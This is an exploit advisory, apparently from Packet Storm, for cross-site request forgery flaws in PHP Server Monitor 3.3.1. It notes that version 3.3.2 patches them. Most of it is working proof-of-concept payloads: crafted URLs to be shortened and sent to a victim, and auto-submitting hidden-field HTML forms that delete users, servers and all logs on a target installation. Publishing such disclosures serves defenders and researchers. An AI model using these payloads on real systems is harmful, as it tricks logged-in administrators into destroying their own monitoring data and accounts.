PHP Server Monitor 3.3.1 Cross Site Request Forgery

PHP Server Monitor version 3.3.1 suffers from a cross site request forgery vulnerability.


MD5 | 5fe1c2f708db2fb89bc73606a4894920

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# Exploit Title: PHP Server Monitor 3.3.1 - Cross-Site Request Forgery
# Exploit Author: Javier Olmedo
# Website: https://www.sidertia.com
# Date: 2018-11-28
# Google Dork: N/A
# Vendor: https://www.phpservermonitor.org/
# Software Link: https://github.com/phpservermon/phpservermon/releases/tag/v3.3.1
# Affected Version: 3.3.1 and possibly before
# Patched Version: update to 3.3.2
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# References:
# https://github.com/phpservermon/phpservermon/issues/670
# https://www.sidertia.com/Home/Community/Blog/2018/11/28/Corregidas-las-vulnerabilidades-CSRF-descubiertas-en-PHP-Server-Monitor
   
# 1. Technical Description:
# PHP Server Monitor version 3.3.1 and possibly before are affected by multiple
# Cross-Site Request Forgery vulnerability, an attacker could remove users, logs,
# and servers.
 
# 2.1 Proof Of Concept (Delete User):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=user&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="user" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="[ID]" />
      <input type="submit" value="Delete User" />
    </form>
  </body>
</html>

# 2.2 Proof Of Concept (Delete Server):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server&action=delete&id=[ID]) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="server" />
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="id" value="[ID]" />
      <input type="submit" value="Delete Server" />
    </form>
  </body>
</html>

# 2.3 Proof Of Concept (Delete All Logs):

(Method 1)
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server_log&action=delete) and send it to the victim.

(Method 2)
Use next form and send it tho the victim.
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[PATH]/">
      <input type="hidden" name="mod" value="server_log" />
      <input type="hidden" name="action" value="delete" />
      <input type="submit" value="Delete All Logs" />
    </form>
  </body>
</html>



Source: packetstormsecurity.com
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